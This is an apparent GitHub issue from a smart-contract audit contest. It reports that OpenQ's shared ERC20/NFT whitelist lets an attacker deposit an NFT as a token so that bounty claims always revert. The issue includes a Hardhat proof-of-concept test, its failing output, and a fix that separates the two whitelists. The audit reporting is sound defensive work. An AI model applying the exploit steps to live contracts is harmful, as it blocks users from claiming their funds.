Skip to content
This repository has been archived by the owner on May 26, 2023. It is now read-only.

bin2chen - block claim bounty attacks #161

Closed
github-actions bot opened this issue Feb 21, 2023 · 0 comments
Closed

bin2chen - block claim bounty attacks #161

github-actions bot opened this issue Feb 21, 2023 · 0 comments
Labels
Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label High A valid High severity issue Reward A payout will be made for this issue

Comments

@github-actions
Copy link

github-actions bot commented Feb 21, 2023

bin2chen

medium

block claim bounty attacks

Summary

A malicious user can deposit NFT as erc20 to execute the attack.

Vulnerability Detail

The current protocol allows anyone to provide bonuses
In order to prevent malicious users using malicious token addresses to break the protocol: for example, by providing malicious token addresses, always revert when claim bounty, thus blocking claims, etc.

That's why we provide a whitelist token mechanism.

However, the current whitelist puts erc20 and erc721 in the same whitelist, which gives the attacker the possibility to break the protocol: a malicious user can pretend NFT (in the whitelist) to be erc20 into tokenAddresses , when claim bounty will always revert, and cannot perform claim bounty. .

So NFT can be treated as ERC20 execution fundBountyToken ()?
Yes, because :
"NFT and ERC20 balanceOf/transferFrom method signature is the same"
But when the claim bounty uses transfer(), it will revert, because NFT does not have this method signature

Here is the test code, you can deposit NFT as erc20,but anyone can not claim his bounty:
add to test/ClaimManager.test.js

    it('NFT_TO_TOKEN', async () => {
    
	    await openQProxy.mintBounty(Constants.bountyId, Constants.organization, atomicBountyInitOperation);
	    const bountyAddress = await openQProxy.bountyIdToAddress(Constants.bountyId);
    
	    await mockNft.approve(bountyAddress, 1);   //1. **** @audit approve first , transferFrom need it
    
                //2. **** @audit fundBountyToken nft is ok
	    await depositManager.fundBountyToken(bountyAddress, mockNft.address, 1, 1, zeroTier);
    
	    const expectedTimestamp = await setNextBlockTimestamp();
	    console.log("fundBountyToken(NFT) is ok");
	    
                 //3. **** @audit claim bounty will revert
	    await claimManager.connect(oracle).claimBounty(bountyAddress, owner.address, abiEncodedTieredCloserDataFirstPlace);
    
    });	

yarn test test/ClaimManager.test.js --grep NFT_TO_TOKEN
output

fundBountyToken(NFT) is ok


  1) ClaimManager.sol
       claimBounty
         TIERED
           EVENTS
             NFT_TO_TOKEN:
     Error: VM Exception while processing transaction: reverted with reason string 'SafeERC20: low-level call failed'
    at AtomicBountyV1.<receive> (contracts/Bounty/Implementations/AtomicBountyV1.sol:197)

A malicious user can deposit NFT as erc20 to execute the attack.
Although the attacker will lose NFT, it should be possible to find cheap NFTs that are in the whitelist

So it is recommended that the NFT and ERC20 whitelist independent

Impact

Normal users cannot claim the bounty

Code Snippet

https://github.com/sherlock-audit/2023-02-openq/blob/main/contracts/TokenWhitelist/TokenWhitelist.sol#L19-L32

Tool used

Manual Review

Recommendation

Independent Whitelist

abstract contract TokenWhitelist is Ownable {
    uint256 public TOKEN_ADDRESS_LIMIT;
    uint256 public tokenCount;
-   mapping(address => bool) public whitelist;
+  mapping(address => bool) public whitelistToken;
+  mapping(address => bool) public whitelistNFT;

+    function isTokenWhitelisted(address _tokenAddress) external view returns (bool) {
+        return whitelistToken[_tokenAddress];
+    }

+   function isNFTWhitelisted(address _tokenAddress) external view returns (bool) {
+      return whitelistNFT[_tokenAddress];
+   }

+    function addNFT(address _tokenAddress) external onlyOwner {
+        require(
+            !whitelistToken[_tokenAddress] && !whitelistNFT[_tokenAddress] ,
+            Errors.TOKEN_ALREADY_WHITELISTED
+        );
+        whitelistNFT[_tokenAddress] = true;
+        tokenCount++;
+    }

+    function addToken(address _tokenAddress) external onlyOwner {
+        require(
+            !whitelistToken[_tokenAddress] && !whitelistNFT[_tokenAddress] ,
+            Errors.TOKEN_ALREADY_WHITELISTED
+        );
+        whitelistToken[_tokenAddress] = true;
+        tokenCount++;
+    }

+    function removeToken(address _tokenAddress) external onlyOwner {
+        require(
+            whitelistToken[_tokenAddress],
+            Errors.TOKEN_NOT_ALREADY_WHITELISTED
+        );
+        whitelistToken[_tokenAddress] = false;
+        tokenCount--;
+    }
+    function removeNFT(address _tokenAddress) external onlyOwner {
+        require(
+            whitelistNFT[_tokenAddress],
+            Errors.TOKEN_NOT_ALREADY_WHITELISTED
+        );
+        whitelistNFT[_tokenAddress] = false;
+        tokenCount--;
+    }
    function fundBountyNFT(
        address _bountyAddress,
        address _tokenAddress,
        uint256 _tokenId,
        uint256 _expiration,
        bytes calldata _data
    ) external onlyProxy {
        IBounty bounty = IBounty(payable(_bountyAddress));
+       require(isNFTWhitelisted(_tokenAddress), Errors.TOKEN_NOT_ACCEPTED);

Duplicate of #62

@github-actions github-actions bot added Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label High A valid High severity issue labels Feb 21, 2023
@sherlock-admin sherlock-admin added the Reward A payout will be made for this issue label Mar 7, 2023
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label High A valid High severity issue Reward A payout will be made for this issue
Projects
None yet
Development

No branches or pull requests

1 participant